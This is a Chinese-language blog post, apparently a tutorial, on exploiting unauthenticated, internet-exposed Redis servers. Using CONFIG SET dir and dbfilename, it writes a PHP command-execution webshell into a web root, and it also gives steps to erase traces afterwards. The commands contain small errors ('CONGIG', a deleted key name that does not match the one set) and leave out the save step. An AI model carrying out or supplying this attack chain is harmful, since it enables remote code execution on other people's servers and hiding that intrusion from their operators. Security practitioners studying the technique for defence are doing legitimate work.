0x00 前言
redis现在很多都是直接对外开放端口,从外网无需任何验证即可直接访问到。相关的例子可以从shodan或者zoomeye上找到。那么问题来了,作为一个内存数据库,redis上肯定也有很多敏感信息,比如redis用于做session的存储,可能导致敏感信息泄露。不过最近研究redis从乌云社区和drops上看到有人getshell,思路比较有趣,特地写一下总结。
0x01 redis端口探测
6379
判断时,使用python客户端进行扫描,或者直接在浏览器上访问6379查看banner信息:
0x02 本地装一个cli
运行redis-cli -h [hostname] -p [port]
比如10.10.10.1的6379是开放的,那么连接:
redis-cli -h 10.10.10.1进入redis的交互shell。
0x03 利用redis写入shell
条件:
(1)redis服务器上有web服务器
(2)web根目录已知
原理:
redis中有一种数据备份的方式是备份至.rdb文件,在配置文件中的dbfilename中
这种备份方式是根据时间的频率来进行保存的。
但是redis中有个config set命令可以修改redis运行时的配置选项。
其中redis.conf中有个dir选项可以选择保存dump.rdb的目录,默认是当前目录:
我们可以控制dir和dbfilename选项,将shell写入到网站的根目录(假设为/var/www/html)下:
CONFIG SET dir /var/www/html # 修改备份目录
CONGIG SET dbfilename shell.php # 修改备份文件名为我们的shell名
创建一个字符串,这样在备份时可以写入备份文件中。
SET shell "<?php system($_GET['cmd']);?>"
将数据备份到磁盘中:
0x04 清除痕迹
(1)删除key
(2)将dir和dbfilename更为原样
最好使用config get事先看看原来的值是啥。
DEL payload
CONFIG SET dir /usr/local/redis
CONGIG SET dbfilename dump.rdb
0x05 测试
访问shell:
0x06 问题
(1)一个是有人在drops上说备份的数据文件默认权限是0600,但是本地使用root运行redis没有这个权限问题,可以成功写入。
(2)一般来说,redis中使用备份数据的时候,会把以前的数据完整备份一遍,也就是说这个数据库持久化文件很可能会非常大,apache读不读的出来还是一回事儿,太大说不定直接阻塞down掉。一种方法是将全部的数据备份,再flushall,再备份导出shell,然后利用第一步的持久化文件进行恢复,这样做可能会造成一定的数据丢失,对站点造成损害,还是不推荐使用。